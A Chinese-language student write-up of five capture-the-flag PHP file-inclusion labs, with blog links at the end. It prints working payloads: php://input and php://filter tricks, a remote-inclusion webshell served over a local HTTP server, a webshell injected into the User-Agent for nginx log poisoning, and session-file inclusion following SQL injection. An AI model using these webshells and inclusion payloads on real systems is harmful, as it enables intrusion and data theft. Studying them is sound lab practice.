班级作业笔记报告0x03

作业1:

文件包含漏洞php://伪协议

经典代码

看了下phpinfo信息

allow_url_fopen=On && allow_url_include=On

允许无文件落地getshell

使用php://伪协议的input方法,需要POST请求,但是file参数接收仍需GET传参

POST传参请求体直接窃取flag

<?=system('cat /f*');

作业2:

伪协议

点击连接抓包

?file=show.php

屏幕出现三个tips。。。

传参?file=/etc/passwd,正常回显,而flag会被拦截

使用php://filter不会被拦截,base64读取tips.php文件

?file=php://filter/convert.base64-encode/resource=tips.php

解码后内容源码分析,直接eval输出

最终

echo`cat /*`;

echo`cat /f*`;

作业3:

远程文件包含

echo '<?php phpinfo();system($_GET0);?>'>1.txt

python3 -m http.server 6666

查找flag

获取flag

作业4:

日志文件包含

访问网站,获取Cookie值

对Cookie值进行base64解密,发现疑似被反序列化,根据题意,将路径改成中间件日志文件:/var/log/nginx/access.log

发现可以User-agent写入

构造webshell

User-agent: <?php system($_GET0);?>

尝试getshell,传参?0=ls /,发现flag,名为flag_sHkqD

获取flag,传参?0=cat /fla*

作业5:

session文件包含

访问首页,访问了后台登录发现需要密码,测试了下登录框没有SQL注入漏洞,首页的点击了数字,抓包发现有个id参数,尝试sql注入,发现存在SQL注入,数字型

获取数据库名

获取表名

获取字段名

获取账户密码,得到了admin/wuhaijiayou

登录后台,发现功能点有个查看文件功能

包含自己的session文件,默认路径为/var/lib/php5/sess_PHPSESSID的值,可以看见响应头的最后有个斜杠/,尝试getshell

写入webshell,记得URL编码

<?php system($_GET0);?>

传参?0=ls /

这道题似乎没放flag

个人评价:

这几道题都是很经典的文件包含落地题,文件包含严重可getshell,还可以无文件落地getshell,红队的最爱之一

相关推荐
圣光SG4 小时前
Servlet学习笔记
笔记·学习·servlet
奋发向前wcx4 小时前
y1,y2总复习笔记5 2026.7.19
数据结构·笔记·算法
@Mike@6 小时前
02-数据库学习笔记(SQL引擎)
数据库·笔记·学习
六点_dn6 小时前
RabbitMQ学习笔记-定义与作用
笔记·学习·rabbitmq
香辣牛肉饭8 小时前
【算法】动态规划 最长公共子序列(LCS)
经验分享·笔记·算法·动态规划
迷途呀9 小时前
Python:函数中的参数类型
开发语言·笔记·python·langchain·nlp
依然范特东10 小时前
动手学深度学习笔记--卷积层、微调
人工智能·笔记·深度学习
金伟API102411 小时前
SQL Server基础学习笔记
笔记·学习
砚凝霜12 小时前
软考网络工程师|第 1 章 计算机网络基础 完整备考笔记
网络·笔记·计算机网络
岑梓铭12 小时前
《考研408数据结构》第七章(7.1 查找:顺序查找、折半查找、分块查找)复习笔记
数据结构·笔记·考研·408·ds·查找